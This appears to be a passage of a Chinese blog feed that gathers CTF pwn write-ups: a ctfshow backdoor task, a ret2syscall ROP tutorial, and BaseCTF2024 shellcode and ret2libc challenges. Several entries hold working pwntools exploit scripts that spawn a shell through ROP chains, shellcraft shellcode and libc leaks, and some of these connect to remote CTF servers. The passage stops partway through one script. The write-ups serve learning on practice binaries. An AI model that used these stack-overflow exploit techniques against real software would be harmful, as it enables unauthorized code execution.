<span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>大致流程如下：</p><p>首先将字符串 “CTFshowPWN” 复制到 s1 变量中。</p><p>接着，使用 puts 函数输出字符串 “find the secret !”。</p><p>紧接着，通过 __isoc99_scanf 函数从用户输入中读取一个字符串到 s2 变量中。</p><p>最后，通过 strcmp 函数比较 s1 和 s2 的内容是否相同。如果相同，则调用 execve_func 函数。</p><p>跟进execve_func()：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">execve_func</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> *argv[<span class="number">3</span>]; <span class="comment">// [rsp+0h] [rbp-20h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v2; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v2 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  argv[<span class="number">0</span>] = <span class="string">&quot;/bin/sh&quot;</span>;</span><br><span class="line">  argv[<span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line">  argv[<span class="number">2</span>] = <span class="number">0</span>;</span><br><span class="line">  execve(<span class="string">&quot;/bin/sh&quot;</span>, argv, <span class="number">0</span>);</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28u</span>) ^ v2;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到将字符串 “&#x2F;bin&#x2F;sh” 赋值给 argv 变量。</p><p>然后，将 v2 和 v3 初始化为 0。</p><p>通过调用 execve 系统调用来执行 &#x2F;bin&#x2F;sh shell。</p><p>因此这里的execve_func也就是我们所谓的一个后门函数了</p><p>execve 本身并不是一个后门函数。实际上， execve 是一个标准的系统调用函数，用于在 Linux和类 Unix 系统中执行一个新的程序。它的原型如下：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> execve（<span class="type">const</span> <span class="type">char</span> *filename, <span class="type">char</span> *<span class="type">const</span> argv[], <span class="type">char</span> *<span class="type">const</span> envp[]);</span><br></pre></td></tr></table></figure><p>该函数接受三个参数：</p><ol><li><code>filename</code> ：要执行的程序的文件名或路径。</li><li><code>argv</code> ：一个以 NULL 结尾的字符串数组，表示传递给新程序的命令行参数。</li><li><code>envp</code> ：一个以 NULL 结尾的字符串数组，表示新程序的环境变量。</li></ol><p>当调用 execve 函数时，它会将当前进程替换为新程序的代码，并开始执行新程序。新程序接收idargv 和 envp 作为命令行参数和环境变量。</p><p>在加入某些参数后就可以达到我们所需要的后门函数的效果。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Test</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : New backdoor !</span><br><span class="line">    * *************************************</span><br><span class="line">find the secret !</span><br><span class="line">CTFshowPWN</span><br><span class="line">$ </span><br></pre></td></tr></table></figure><p>因此，针对本题来讲，当输入“CTFshowPWN”后就能够得到所需要的shell了，进而就能拿到所需的flag。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;strong&gt;&lt;code&gt;声明：都是官方wp，只是加了我不懂的地方&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&quot;pwn1&quot;&gt;&lt;a href=&quot;#pwn1&quot; class=&quot;headerlink&quot; title=&quot;pwn1&quot;&gt;&lt;/a&gt;pwn1&lt;/h2&gt;&lt;p&gt;Hint</summary>
      
    
    
    
    <category term="PWN" scheme="https://rhea006.github.io/categories/PWN/"/>
    
    <category term="ctfshow_pwn" scheme="https://rhea006.github.io/categories/PWN/ctfshow-pwn/"/>
    
    <category term="2-Test_your_nc" scheme="https://rhea006.github.io/categories/PWN/ctfshow-pwn/2-Test-your-nc/"/>
    
    
  </entry>
  
  <entry>
    <title>Aura 酱的旅行日记 I &lt;图寻擂台&gt;</title>
    <link href="https://rhea006.github.io/2025/07/c93b1805b01a.html"/>
    <id>https://rhea006.github.io/2025/07/c93b1805b01a.html</id>
    <published>2025-07-05T09:00:00.000Z</published>
    <updated>2025-07-19T08:03:42.748Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>链接: <a href="../../../images/baseCTF_osint1.jpg">Aura 酱的旅行日记 I &lt;图寻擂台&gt;</a></p></blockquote><p>识图一下，成都自然博物馆，<code>后续的题大概率都是在四川成都了</code></p>]]></content>
    
    
      
      
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;链接: &lt;a href=&quot;../../../images/baseCTF_osint1.jpg&quot;&gt;Aura 酱的旅行日记 I &amp;lt;图寻擂台&amp;gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;识图一下，成都自然博物馆，&lt;code&gt;后续的题</summary>
      
    
    
    
    <category term="BaseCTF2024新生赛" scheme="https://rhea006.github.io/categories/BaseCTF2024%E6%96%B0%E7%94%9F%E8%B5%9B/"/>
    
    <category term="OSINT" scheme="https://rhea006.github.io/categories/BaseCTF2024%E6%96%B0%E7%94%9F%E8%B5%9B/OSINT/"/>
    
    
  </entry>
  
  <entry>
    <title>3-ret2syscall</title>
    <link href="https://rhea006.github.io/2025/07/1911a7f94587.html"/>
    <id>https://rhea006.github.io/2025/07/1911a7f94587.html</id>
    <published>2025-07-05T09:00:00.000Z</published>
    <updated>2025-07-10T12:24:27.235Z</updated>
    
    <content type="html"><![CDATA[<h1 id="ret2syscall"><a href="#ret2syscall" class="headerlink" title="ret2syscall"></a>ret2syscall</h1><h2 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h2><p>ret2syscall，即控制程序执行系统调用，获取 shell。</p><h2 id="例1"><a href="#例1" class="headerlink" title="例1"></a>例1</h2><p>继续以 bamboofox 中的 ret2syscall 为例。</p><blockquote><p>点击下载: <a href="../../../../../../../challenges/ret2syscall">ret2syscall</a></p></blockquote><p>首先检测程序开启的保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ checksec ret2syscall</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">    Debuginfo:  Yes</span><br></pre></td></tr></table></figure><p>可以看出，源程序为 32 位，开启了 NX 保护。接下来利用 IDA 进行反编译：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">int __cdecl main(int argc, const char **argv, const char **envp)</span><br><span class="line">&#123;</span><br><span class="line">  int v4; // [esp+1Ch] [ebp-64h] BYREF</span><br><span class="line"></span><br><span class="line">  setvbuf(stdout, 0, 2, 0);</span><br><span class="line">  setvbuf(stdin, 0, 1, 0);</span><br><span class="line">  puts(&quot;This time, no system() and NO SHELLCODE!!!&quot;);</span><br><span class="line">  puts(&quot;What do you plan to do?&quot;);</span><br><span class="line">  gets(&amp;v4);</span><br><span class="line">  return 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看出此次仍然是一个栈溢出。类似于之前的做法，我们可以获得 v4 相对于 ebp 的偏移为 108。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112。此次，由于我们不能直接利用程序中的某一段代码或者自己填写代码来获shell，所以我们利用程序中的 gadgets 来获得 shell，而对应的 shell 获取则是利用系统调用。</p><p>简单地说，只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中，那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">execve(&quot;/bin/sh&quot;,NULL,NULL)</span><br></pre></td></tr></table></figure><p>其中，该程序是 32 位，所以我们需要使得</p><ul><li>系统调用号，即 eax 应该为 0xb</li><li>第一个参数，即 ebx 应该指向 &#x2F;bin&#x2F;sh 的地址，其实执行 sh 的地址也可以。</li><li>第二个参数，即 ecx 应该为 0</li><li>第三个参数，即 edx 应该为 0</li></ul><p>而我们如何控制这些寄存器的值呢？这里就需要使用 gadgets。比如说，现在栈顶是 10，那么如果此时执行了 pop eax，那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器，所以我们需要一段一段控制，这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法，我们可以使用 ropgadgets 这个工具。</p><p>首先，我们来寻找控制 eax 的 gadgets</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary ret2syscall  --only <span class="string">&#x27;pop|ret&#x27;</span> | grep <span class="string">&#x27;eax&#x27;</span></span><br><span class="line">0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret</span><br><span class="line">0x080bb196 : pop eax ; ret</span><br><span class="line">0x0807217a : pop eax ; ret 0x80e</span><br><span class="line">0x0804f704 : pop eax ; ret 3</span><br><span class="line">0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret</span><br></pre></td></tr></table></figure><p>可以看到有上述几个都可以控制 eax，我选取第二个来作为 gadgets。</p><p>类似的，我们可以得到控制其它寄存器的 gadgets</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary ret2syscall  --only <span class="string">&#x27;pop|ret&#x27;</span> | grep <span class="string">&#x27;ebx&#x27;</span></span><br><span class="line">0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret</span><br><span class="line">0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret</span><br><span class="line">0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret</span><br><span class="line">0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret</span><br><span class="line">0x080be23f : pop ebx ; pop edi ; ret</span><br><span class="line">0x0806eb69 : pop ebx ; pop edx ; ret</span><br><span class="line">0x08092258 : pop ebx ; pop esi ; pop ebp ; ret</span><br><span class="line">0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret</span><br><span class="line">0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10</span><br><span class="line">0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14</span><br><span class="line">0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc</span><br><span class="line">0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4</span><br><span class="line">0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8</span><br><span class="line">0x08048913 : pop ebx ; pop esi ; pop edi ; ret</span><br><span class="line">0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4</span><br><span class="line">0x08049a94 : pop ebx ; pop esi ; ret</span><br><span class="line">0x080481c9 : pop ebx ; ret</span><br><span class="line">0x080d7d3c : pop ebx ; ret 0x6f9</span><br><span class="line">0x08099c87 : pop ebx ; ret 8</span><br><span class="line">0x0806eb91 : pop ecx ; pop ebx ; ret</span><br><span class="line">0x0806336b : pop edi ; pop esi ; pop ebx ; ret</span><br><span class="line">0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret</span><br><span class="line">0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret</span><br><span class="line">0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret</span><br><span class="line">0x0805c820 : pop esi ; pop ebx ; ret</span><br><span class="line">0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret</span><br><span class="line">0x0807b6ed : pop ss ; pop ebx ; ret</span><br></pre></td></tr></table></figure><p>这里，我选择</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret</span><br></pre></td></tr></table></figure><p>这个可以直接控制其它三个寄存器。</p><p>此外，我们需要获得 &#x2F;bin&#x2F;sh 字符串对应的地址。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary ret2syscall  --string <span class="string">&#x27;/bin/sh&#x27;</span></span><br><span class="line">Strings information</span><br><span class="line">============================================================</span><br><span class="line">0x080be408 : /bin/sh</span><br></pre></td></tr></table></figure><p>可以找到对应的地址，此外，还有 int 0x80 的地址，如下</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary ret2syscall  --only <span class="string">&#x27;int&#x27;</span></span><br><span class="line">Gadgets information</span><br><span class="line">============================================================</span><br><span class="line">0x08049421 : int 0x80</span><br><span class="line">0x080890b5 : int 0xcf</span><br><span class="line"></span><br><span class="line">Unique gadgets found: 2</span><br></pre></td></tr></table></figure><p>同时，也找到对应的地址了。</p><p>下面就是对应的 payload，<code>其中 0xb 为 execve 对应的系统调用号</code>。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">sh = process(<span class="string">&#x27;./ret2syscall&#x27;</span>)</span><br><span class="line">pop_eax_ret = <span class="number">0x080bb196</span></span><br><span class="line">pop_edx_ecx_ebx_ret = <span class="number">0x0806eb90</span></span><br><span class="line">int_0x80 = <span class="number">0x08049421</span></span><br><span class="line">binsh = <span class="number">0x80be408</span></span><br><span class="line">payload = flat(</span><br><span class="line">    [<span class="string">b&#x27;A&#x27;</span> * <span class="number">112</span>, pop_eax_ret, <span class="number">0xb</span>, pop_edx_ecx_ebx_ret, <span class="number">0</span>, <span class="number">0</span>, binsh, int_0x80])</span><br><span class="line">sh.sendline(payload)</span><br><span class="line">sh.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> 列表形式（按顺序拼接）</span><br><span class="line">python</span><br><span class="line">运行</span><br><span class="line">payload = flat([</span><br><span class="line">    <span class="string">b&#x27;A&#x27;</span> * <span class="number">112</span>,         <span class="comment"># 填充缓冲区</span></span><br><span class="line">    pop_eax_ret,        <span class="comment"># 地址（自动转换为p64/p32）</span></span><br><span class="line">    <span class="number">0xb</span>,                <span class="comment"># 整数值（自动转换为p64/p32）</span></span><br><span class="line">    pop_edx_ecx_ebx_ret,</span><br><span class="line">    <span class="number">0</span>, <span class="number">0</span>, binsh,        <span class="comment"># execve(&quot;/bin/sh&quot;, NULL, NULL)</span></span><br><span class="line">    int_0x80            <span class="comment"># 系统调用地址</span></span><br><span class="line">])</span><br><span class="line"></span><br><span class="line"><span class="number">2.</span> 字典形式（按偏移量填充）</span><br><span class="line">python</span><br><span class="line">运行</span><br><span class="line">payload = flat(&#123;</span><br><span class="line">    <span class="number">0</span>: <span class="string">b&#x27;A&#x27;</span> * <span class="number">112</span>,       <span class="comment"># 从偏移0开始填充</span></span><br><span class="line">    <span class="number">112</span>: pop_eax_ret,    <span class="comment"># 从偏移112开始放地址</span></span><br><span class="line">    <span class="number">120</span>: <span class="number">0xb</span>,            <span class="comment"># 从偏移120开始放整数</span></span><br><span class="line">    <span class="number">128</span>: pop_edx_ecx_ebx_ret,</span><br><span class="line">    <span class="number">136</span>: [<span class="number">0</span>, <span class="number">0</span>, binsh],  <span class="comment"># 列表会按顺序拼接</span></span><br><span class="line">    <span class="number">160</span>: int_0x80</span><br><span class="line">&#125;)</span><br><span class="line">等价于</span><br><span class="line">payload = <span class="string">b&#x27;A&#x27;</span>*<span class="number">112</span>+p32(pop_eax_ret)+p32(<span class="number">0xb</span>)+p32(pop_edx_ecx_ebx_ret)+p32(<span class="number">0</span>)+p32(<span class="number">0</span>)+p32(binsh)+p32(int_0x80)</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./ret2syscall&#x27;</span>: pid 379</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">This <span class="keyword">time</span>, no system() and NO SHELLCODE!!!</span><br><span class="line">What <span class="keyword">do</span> you plan to <span class="keyword">do</span>?</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag  exp.py  pwn  ret2libc1  ret2libc2  ret2libc3  ret2syscall</span><br></pre></td></tr></table></figure><h3 id="题目-¶"><a href="#题目-¶" class="headerlink" title="题目 ¶"></a>题目 <a href="https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/rop">¶</a></h3><h3 id=""><a href="#" class="headerlink" title=""></a></h3><ul><li>train.cs.nctu.edu.tw: ret2libc</li></ul><p>[ret2text]: </p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;ret2syscall&quot;&gt;&lt;a href=&quot;#ret2syscall&quot; class=&quot;headerlink&quot; title=&quot;ret2syscall&quot;&gt;&lt;/a&gt;ret2syscall&lt;/h1&gt;&lt;h2 id=&quot;原理&quot;&gt;&lt;a href=&quot;#原理&quot; class=&quot;head</summary>
      
    
    
    
    <category term="PWN" scheme="https://rhea006.github.io/categories/PWN/"/>
    
    <category term="Learning" scheme="https://rhea006.github.io/categories/PWN/Learning/"/>
    
    <category term="6-栈溢出与ROP" scheme="https://rhea006.github.io/categories/PWN/Learning/6-%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B8%8EROP/"/>
    
    <category term="Stack Overflow" scheme="https://rhea006.github.io/categories/PWN/Learning/6-%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B8%8EROP/Stack-Overflow/"/>
    
    <category term="x86x64" scheme="https://rhea006.github.io/categories/PWN/Learning/6-%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B8%8EROP/Stack-Overflow/x86x64/"/>
    
    <category term="3-基本ROP" scheme="https://rhea006.github.io/categories/PWN/Learning/6-%E6%A0%88%E6%BA%A2%E5%87%BA%E4%B8%8EROP/Stack-Overflow/x86x64/3-%E5%9F%BA%E6%9C%ACROP/"/>
    
    
  </entry>
  
  <entry>
    <title>week2</title>
    <link href="https://rhea006.github.io/2025/07/90cb9989e2ac.html"/>
    <id>https://rhea006.github.io/2025/07/90cb9989e2ac.html</id>
    <published>2025-07-05T09:00:00.000Z</published>
    <updated>2025-08-31T04:19:42.312Z</updated>
    
    <content type="html"><![CDATA[<h2 id="shellcode-level1"><a href="#shellcode-level1" class="headerlink" title="shellcode_level1"></a>shellcode_level1</h2><h6 id="Hint-两字节怎么写系统调用"><a href="#Hint-两字节怎么写系统调用" class="headerlink" title="Hint:两字节怎么写系统调用"></a>Hint:<strong>两字节</strong>怎么写系统调用</h6><blockquote><p>点击下载: <a href="../../../challenges/BaseCTF2024/shellcode_level1">shellcode_level1</a></p></blockquote><p>Checksec 查看保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x shellcode_level1</span><br><span class="line">$ checksec shellcode_level1</span><br><span class="line">  Arch:       amd64-64-little</span><br><span class="line">  RELRO:      Full RELRO</span><br><span class="line">  Stack:      Canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        PIE enabled</span><br><span class="line">  SHSTK:      Enabled</span><br><span class="line">  IBT:        Enabled</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>发现elf开启了pie保护，并且开启了canary保护，这使得使用栈溢出漏洞进行攻击变得难以执行。但是，根据题目提示，本题实质上还是要写入shellcode，但是具体往哪里写呢？又怎么写入呢？</p><p>还是利用ida进行反编译，观察一下程序的逻辑。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span>&#123;</span><br><span class="line">  <span class="type">void</span> *buf; <span class="comment">// [rsp+0h] [rbp-10h]</span></span><br><span class="line"></span><br><span class="line">  buf = mmap(<span class="number">0LL</span>, <span class="number">0x1000u</span>LL, <span class="number">7</span>, <span class="number">34</span>, <span class="number">-1</span>, <span class="number">0LL</span>);</span><br><span class="line">  <span class="keyword">if</span> ( buf == (<span class="type">void</span> *)<span class="number">-1LL</span> )&#123;</span><br><span class="line">    perror(<span class="string">&quot;mmap failed&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span>&#123;</span><br><span class="line">    read(<span class="number">0</span>, buf, <span class="number">2uLL</span>);</span><br><span class="line">    ((<span class="type">void</span> (__fastcall *)(_QWORD, <span class="type">void</span> *, __int64))buf)(<span class="number">0LL</span>, buf, <span class="number">1280LL</span>);</span><br><span class="line">    <span class="keyword">if</span> ( munmap(buf, <span class="number">0x1000u</span>LL) == <span class="number">-1</span> )&#123;</span><br><span class="line">      perror(<span class="string">&quot;munmap failed&quot;</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span>&#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>ida里我们发现，buf变量是一段可读可写可执行的内存空间，并且，如果mmap函数开辟空间正确，首先会向buf里读入两个字节，然后会把buf空间里的内容当作函数，进行执行。那么我们自然可以想到，如果我们向buf里写入shellcode，那shellcode就会被执行，我们就可以成功获取shell。但是因为程序开启了pie保护，所以我们直接找到buf的地址向buf里写入shellcode的思路显然是不可行的，那具体怎么写入呢？</p><p>通过检查汇编代码，可以发现，在read(0,buf,2ull)之后，有向寄存器赋值的汇编代码，并且会调用rcx寄存器里的内容的操作，那我们就自然可以想到，向rcx寄存器里写入一个函数，且该函数的功能可以实现向buf里读取内容的操作。所以我们可以向rcx寄存器里写入syscall，那么syscall第一个参数是rax寄存器里的值0，所以此时看似调用的是syscall，实则调用的是read函数，并且，rax里是0，rsi的值是buf，rdx的值是500h，也就是调用read(0,buf,0x500)。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:000000000000122A loc_122A:                               ; CODE XREF: main+49↑j</span><br><span class="line">.text:000000000000122A                 mov     rax, [rbp+buf]</span><br><span class="line">.text:000000000000122E                 mov     edx, 2          ; nbytes</span><br><span class="line">.text:0000000000001233                 mov     rsi, rax        ; buf</span><br><span class="line">.text:0000000000001236                 mov     edi, 0          ; fd</span><br><span class="line">.text:000000000000123B                 call    _read</span><br><span class="line">.text:0000000000001240                 mov     rsi, [rbp+buf]</span><br><span class="line">.text:0000000000001244                 mov     rcx, rsi</span><br><span class="line">.text:0000000000001247                 mov     rdx, 500h</span><br><span class="line">.text:000000000000124E                 mov     rax, 0</span><br><span class="line">.text:0000000000001255                 call    rcx</span><br><span class="line">.text:0000000000001257                 mov     rax, [rbp+buf]</span><br><span class="line">.text:000000000000125B                 mov     esi, 1000h      ; len</span><br><span class="line">.text:0000000000001260                 mov     rdi, rax        ; addr</span><br><span class="line">.text:0000000000001263                 call    _munmap</span><br><span class="line">.text:0000000000001268                 cmp     eax, 0FFFFFFFFh</span><br><span class="line">.text:000000000000126B                 jnz     short loc_1283</span><br><span class="line">.text:000000000000126D                 lea     rax, aMunmapFailed ; &quot;munmap failed&quot;</span><br><span class="line">.text:0000000000001274                 mov     rdi, rax        ; s</span><br><span class="line">.text:0000000000001277                 call    _perror</span><br><span class="line">.text:000000000000127C                 mov     eax, 1</span><br><span class="line">.text:0000000000001281                 jmp     short loc_1288</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context(log_level=&#x27;debug&#x27;,arch = &#x27;amd64&#x27;,os = &#x27;linux&#x27;)</span></span><br><span class="line">context.arch = <span class="string">&#x27;amd64&#x27;</span></span><br><span class="line"><span class="comment">#p=process(&#x27;./shellcode_level1&#x27;)</span></span><br><span class="line">p = remote(<span class="string">&#x27;gz.imxbt.cn&#x27;</span>,<span class="number">20160</span>)</span><br><span class="line">p.send(asm(<span class="string">&#x27;syscall&#x27;</span>))</span><br><span class="line">payload = <span class="string">b&#x27;aa&#x27;</span>+asm(shellcraft.sh()) </span><br><span class="line"><span class="comment">#b&#x27;\x90&#x27;*2 + asm(shellcraft.sh()) </span></span><br><span class="line"><span class="comment"># &#x27;\x90&#x27;为nop的汇编，覆盖掉之前的syscall</span></span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h2 id="她与你皆失"><a href="#她与你皆失" class="headerlink" title="她与你皆失"></a>她与你皆失</h2><h6 id="Hint：这下好了，什么都没了，你满意了？"><a href="#Hint：这下好了，什么都没了，你满意了？" class="headerlink" title="Hint：这下好了，什么都没了，你满意了？"></a>Hint：这下好了，什么都没了，你满意了？</h6><blockquote><p>点击下载: <a href="../../../challenges/BaseCTF2024/she_and_you_are_lost/pwn">pwn</a></p></blockquote><p>checksec：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    SHSTK:      Enabled</span><br><span class="line">    IBT:        Enabled</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>ida查看：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">10</span>]; <span class="comment">// [rsp+6h] [rbp-Ah] BYREF</span></span><br><span class="line"></span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;I have nothing, what should I do?&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x100u</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>明显栈溢出，ret2libc：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary ./pwn | grep <span class="string">&quot;ret&quot;</span></span><br><span class="line">0x0000000000401176 : pop rdi ; ret</span><br><span class="line">0x000000000040101a : ret</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;</span>)</span><br><span class="line">main_addr = elf.symbols[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">puts_plt = elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">puts_got = elf.got[<span class="string">&#x27;puts&#x27;</span>] </span><br><span class="line"></span><br><span class="line">pop_rdi_ret = <span class="number">0x401176</span></span><br><span class="line">ret = <span class="number">0x40101a</span></span><br><span class="line"></span><br><span class="line">io.recv()</span><br><span class="line">payload = cyclic(<span class="number">0xA</span>+<span class="number">8</span>) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)</span><br><span class="line">io.send(payload)</span><br><span class="line">puts = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(puts))</span><br><span class="line">libc_base = puts - libc.sym[<span class="string">&quot;puts&quot;</span>]</span><br><span class="line">system = libc_base + libc.sym[<span class="string">&quot;system&quot;</span>]</span><br><span class="line">binsh = libc_base + <span class="built_in">next</span>(libc.search(<span class="string">b&quot;/bin/sh&quot;</span>))</span><br><span class="line">payload = cyclic(<span class="number">0xA</span>+<span class="number">8</span>) + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system) + p64(<span class="number">0</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> LibcSearcher </span><br><span class="line">context(arch=<span class="string">&#x27;amd64&#x27;</span>, os=<span class="string">&#x27;linux&#x27;</span>, log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = remote(<span class="string">&#x27;gz.imxbt.cn&#x27;</span>, <span class="number">20634</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">offset = <span class="number">18</span></span><br><span class="line">pop_rdi_ret = <span class="number">0x401176</span></span><br><span class="line">ret = <span class="number">0x40101a</span></span><br><span class="line">main_addr = elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">puts_plt = elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">puts_got = elf.got[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line"></span><br><span 